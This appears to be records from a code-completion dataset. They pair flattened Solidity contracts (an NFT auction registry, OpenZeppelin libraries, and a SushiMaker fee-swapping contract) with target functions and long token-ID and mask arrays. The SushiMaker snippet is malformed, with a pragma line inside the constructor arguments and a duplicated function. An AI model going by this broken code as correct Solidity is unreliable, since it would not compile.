// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getHub() external view returns (address) {
return address(hubInstance_);
}
function getRoyalties() external view returns (address) {
return address(royaltiesInstance_);
}
function getNft() external view returns (address) {
return address(nftInstance_);
}
function isActive() external view returns (bool) {
return true;
}
// -----------------------------------------------------------------------
// ONLY OWNER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function updateHub(address _newHub) external onlyOwner nonReentrant {
IHub newHub = IHub(_newHub);
require(_newHub != address(0), "REG: cannot set HUB to 0x");
require(
address(hubInstance_) != _newHub,
"REG: Cannot set HUB to existing"
);
require(
newHub.isAuctionHubImplementation(),
"REG: HUB implementation error"
);
require(IHub(_newHub).init(), "REG: HUB could not be init");
hubInstance_ = IHub(_newHub);
}
function updateRoyalties(address _newRoyalties)
external
onlyOwner
nonReentrant
{
require(_newRoyalties != address(0), "REG: cannot set ROY to 0x");
require(
address(royaltiesInstance_) != _newRoyalties,
"REG: Cannot set ROY to existing"
);
require(IRoyalties(_newRoyalties).init(), "REG: ROY could not be init");
royaltiesInstance_ = IRoyalties(_newRoyalties);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IRoyalties {
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
function getBalance(address _user) external view returns (uint256);
function getCollateral() external view returns (address);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function deposit(address _to, uint256 _amount) external payable;
function withdraw(uint256 _amount) external payable;
// -----------------------------------------------------------------------
// ONLY REGISTRY STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
function init() external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface INft {
// -----------------------------------------------------------------------
// NON-MODIFYING FUNCTIONS (VIEW)
// -----------------------------------------------------------------------
/**
* @param _tokenID The ID of the token
* @return address of the owner for this token
*/
function ownerOf(uint256 _tokenID) external view returns(address);
/**
* @param _tokenID The ID of the token
* @return address of the creator of the token
*/
function creatorOf(uint256 _tokenID) external view returns(address);
/**
* @param _owner The address of the address to check
* @return uint256 The number of tokens the user owns
*/
function balanceOf(address _owner) external view returns(uint256);
/**
* @return uint256 The total number of circulating tokens
*/
function totalSupply() external view returns(uint256);
/**
* @param _owner Address of the owner
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @return bool The approved status of the spender against the owner
*/
function isApprovedSpenderOf(
address _owner,
address _spender,
uint256 _tokenID
)
external
view
returns(bool);
/**
* @param _minter Address of the minter being checked
* @return isMinter If the minter has the minter role
* @return isActiveMinter If the minter is an active minter
*/
function isMinter(
address _minter
)
external
view
returns(
bool isMinter,
bool isActiveMinter
);
function isActive() external view returns(bool);
function isTokenBatch(uint256 _tokenID) external view returns(uint256);
function getBatchInfo(
uint256 _batchID
)
external
view
returns(
uint256 baseTokenID,
uint256[] memory tokenIDs,
bool limitedStock,
uint256 totalMinted
);
// -----------------------------------------------------------------------
// PUBLIC STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _spender The address of the spender
* @param _tokenID ID of the token to check
* @param _approvalSpender The status of the spenders approval on the
* owner
* @notice Will revert if msg.sender is the spender or if the msg.sender
* is not the owner of the token.
*/
function approveSpender(
address _spender,
uint256 _tokenID,
bool _approvalSpender
)
external;
// -----------------------------------------------------------------------
// ONLY AUCTIONS (hub or spokes) STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _to Address of receiver
* @param _tokenID Token to transfer
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function transfer(
address _to,
uint256 _tokenID
)
external;
/**
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if the
* msg.sender is not the token owner. Will revert if msg.sender is
* to to address
*/
function batchTransfer(
address _to,
uint256[] memory _tokenIDs
)
external;
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenID ID of token being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenID
)
external;
/**
* @param _from Address being transferee from
* @param _to Address to transfer to
* @param _tokenIDs Array of tokens being transferred
* @notice Only auctions (hub or spokes) will be able to transfer tokens.
* Will revert if to address is the 0x address. Will revert if
* msg.sender is not approved spender of token on _from address.
* Will revert if the _from is not the token owner. Will revert if
* _from is _to address.
*/
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIDs
)
external;
// -----------------------------------------------------------------------
// ONLY MINTER STATE MODIFYING FUNCTIONS
// -----------------------------------------------------------------------
/**
* @param _tokenCreator Address of the creator. Address will receive the
* royalties from sales of the NFT
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @notice Only valid active minters will be able to mint new tokens
*/
function mint(
address _tokenCreator,
address _mintTo,
string calldata identifier,
string calldata location,
bytes32 contentHash
) external returns(uint256);
/**
* @param _mintTo The address that should receive the token. Note that on
* the initial sale this address will not receive the sale
* collateral. Sale collateral will be distributed to creator and
* system fees
* @param _amount Amount of tokens to mint
* @param _baseTokenID ID of the token being duplicated
* @param _isLimitedStock Bool for if the batch has a pre-set limit
*/
function batchDuplicateMint(
address _mintTo,
uint256 _amount,
uint256 _baseTokenID,
bool _isLimitedStock
)
external
returns(uint256[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
} | * @param _minter Address of the minter being checked @return isMinter If the minter has the minter role @return isActiveMinter If the minter is an active minter/ | function isMinter(address _minter)
external
view
returns (bool isMinter, bool isActiveMinter)
{
isMinter = minters_[_minter].isMinter;
isActiveMinter = minters_[_minter].isActive;
}
| 11,753,007 | [
1,
67,
1154,
387,
5267,
434,
326,
1131,
387,
3832,
5950,
327,
225,
15707,
2761,
971,
326,
1131,
387,
711,
326,
1131,
387,
2478,
327,
225,
15083,
49,
2761,
971,
326,
1131,
387,
353,
392,
2695,
1131,
387,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
15707,
2761,
12,
2867,
389,
1154,
387,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
15707,
2761,
16,
1426,
15083,
49,
2761,
13,
203,
565,
288,
203,
3639,
15707,
2761,
273,
1131,
5432,
67,
63,
67,
1154,
387,
8009,
291,
49,
2761,
31,
203,
3639,
15083,
49,
2761,
273,
1131,
5432,
67,
63,
67,
1154,
387,
8009,
291,
3896,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x1d32120B5005B9C5fd36A20f87B3FDaf0296Ad45/sources/SushiMaker.sol | T1 - T4: OK V1 - V5: OK0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac V1 - V5: OK0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 V1 - V5: OK0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 | contract SushiMakerFlat is BoringOwnable, BoringBatchable {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address public immutable factory;
address public immutable bar;
address private immutable sushi;
mapping(address => bool) public isOperator;
event LogSushiTransfer(uint256 amountSushi);
event LogConvert(
address indexed server,
address indexed token0,
address indexed token1,
uint256 amount0,
uint256 amount1
);
constructor(
address _factory,
address _bar,
address _sushi
pragma solidity 0.6.12;
) public {
factory = _factory;
bar = _bar;
sushi = _sushi;
}
modifier onlyOperator {
require(
isOperator[msg.sender],
"Only operator can call this function."
);
_;
}
function setOperator(address user, bool status) external onlyOwner {
isOperator[user] = status;
}
function transferSushi(uint256 amount) public {
IERC20(sushi).safeTransfer(bar, amount);
emit LogSushiTransfer(amount);
}
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path
) public onlyOperator returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IERC20(path[0]).safeTransfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swap(amounts, path, address(this));
emit LogConvert(
msg.sender,
path[0],
path[path.length - 1],
amountIn,
amounts[amounts.length - 1]
);
}
function burnPair(IUniswapV2Pair pair) public onlyOperator {
pair.burn(address(this));
}
} | 3,092,239 | [
1,
56,
21,
300,
399,
24,
30,
7791,
776,
21,
300,
776,
25,
30,
7791,
20,
14626,
20,
16985,
73,
24,
8285,
73,
5718,
8204,
73,
5558,
2163,
71,
25,
42,
27,
37,
24,
37,
22,
41,
4033,
4700,
71,
41,
29,
73,
24,
74,
22,
9988,
776,
21,
300,
776,
25,
30,
7791,
20,
92,
28,
7235,
28,
3247,
29,
71,
22,
41,
4848,
5608,
8749,
41,
74,
38,
27,
1871,
7616,
73,
39,
6675,
72,
40,
2643,
9222,
42,
74,
24,
5324,
22,
776,
21,
300,
776,
25,
30,
7791,
20,
92,
26,
38,
4763,
29,
3361,
9470,
4700,
28,
5698,
6162,
22,
73,
5520,
37,
22266,
74,
24,
74,
25,
69,
25,
71,
42,
5908,
39,
9349,
74,
41,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
348,
1218,
77,
12373,
16384,
353,
605,
6053,
5460,
429,
16,
605,
6053,
4497,
429,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
605,
6053,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1758,
1071,
11732,
3272,
31,
203,
565,
1758,
1071,
11732,
4653,
31,
203,
565,
1758,
3238,
11732,
272,
1218,
77,
31,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
353,
5592,
31,
203,
203,
377,
203,
565,
871,
